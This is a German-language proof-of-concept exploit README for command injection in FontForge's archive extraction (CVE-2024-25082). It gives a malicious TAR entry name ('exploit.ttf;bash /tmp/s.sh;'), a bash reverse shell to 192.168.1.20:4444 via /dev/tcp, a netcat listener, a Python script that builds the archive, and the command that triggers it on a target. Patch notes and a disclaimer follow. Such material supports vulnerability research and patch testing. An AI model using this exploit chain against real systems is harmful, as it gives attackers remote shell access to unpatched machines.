⚠️ FontForge RCE — CVE-2024-25081 & CVE-2024-25082 - PoC

📖 Überblick

Proof-of-concept-Exploit für zwei Befehlseinschleusungssicherheitslücken in FontForge ≤ 20230101 (Splinefont Komponente).

CVE	Vektor	Auslöser
CVE-2024-25081	Manipulierter Dateiname	Direktes Dateiöffnen
CVE-2024-25082	Manipulierter Archivdateiname	TAR/ZIP/GZ/BZ2-Extraktion

Dieser PoC zielt auf CVE-2024-25082 — FontForge's automatische Archivextraktion übergibt Dateinamen ohne Bereinigung an eine Shell, wodurch ein Semikolon-getrennter Payload, der in einem TAR-Eintragsnamen eingebettet ist, beliebige Befehle ausführen kann.

So funktioniert es

FontForge unterstützt das direkte Öffnen von Schriftartdateien aus Archiven. Beim Extrahieren eines TAR-Archivs erstellt die Splinefont-Komponente einen Shell-Befehl unter Verwendung des Dateinamens aus dem Archiveintrag. Da der Dateiname nicht bereinigt wird, bricht ein Semikolon (;) im Eintragsnamen aus dem erwarteten Befehl aus und schleust beliebige Shell-Anweisungen ein.

Bösartiger TAR-Eintragsname:

exploit.ttf;bash /tmp/s.sh;

Wenn FontForge dieses Archiv verarbeitet, interpretiert die Shell dies wie folgt:

<extract command> exploit.ttf ; bash /tmp/s.sh ;

Umgebung

Angreifbare Software: FontForge ≤ 20230101
Plattform: Linux
Angreifer-Listener: 192.168.1.20:4444 (nach Bedarf anpassen)

📋 Voraussetzungen

Python 3 (nur Standardbibliothek, tarfile Modul)
netcat auf dem Angreifer-Rechner
FontForge ≤ 20230101 auf dem Zielrechner

🛠️ Proof of Concept

1. Starten Sie einen netcat-Listener auf Ihrem Angreifer-Rechner

nc -lvnp 4444

2. Erstellen Sie das bösartige TAR-Archiv

# Schreibe den Reverse-Shell-Payload
echo 'bash -i >& /dev/tcp/192.168.1.20/4444 0>&1' > /tmp/s.sh
chmod +x /tmp/s.sh

# Erstelle das bösartige Archiv
python3 << 'EOF'
import tarfile, io

malicious_name = "exploit.ttf;bash /tmp/s.sh;"
tar = tarfile.open("exploit.tar", "w")
info = tarfile.TarInfo(name=malicious_name)
info.size = 4
tar.addfile(info, io.BytesIO(b"AAAA"))
tar.close()
print("done")
EOF

3. Öffnen Sie das Archiv in FontForge auf dem Ziel

fontforge exploit.tar

Eine Reverse-Shell wird sich mit Ihrem Listener verbinden.

🔒 Patch

Behoben in FontForge nach 20230101 via PR #5367. Aktualisieren Sie auf die neueste Version.

Debian/Ubuntu: sudo apt upgrade fontforge
Manuelle Erstellung: Holen Sie die neueste Version von fontforge/fontforge

🔍 Referenzen

⚖️ Haftungsausschluss und Bedingungen

Dieser Proof-of-Concept (PoC)-Code wird ausschließlich für Bildungs- und autorisierte Penetrationstestzwecke bereitgestellt.

Es wird keine Erlaubnis erteilt, diesen Code für andere Zwecke zu modifizieren, weiterzuverbreiten oder zu verwenden.
Unautorisierte Nutzung oder Modifikation kann illegal und unethisch sein.
Die Autoren übernehmen keine Verantwortung für Missbrauch oder Schäden.

CVE-2024-25082_CVE-2024-25081

Beliebteste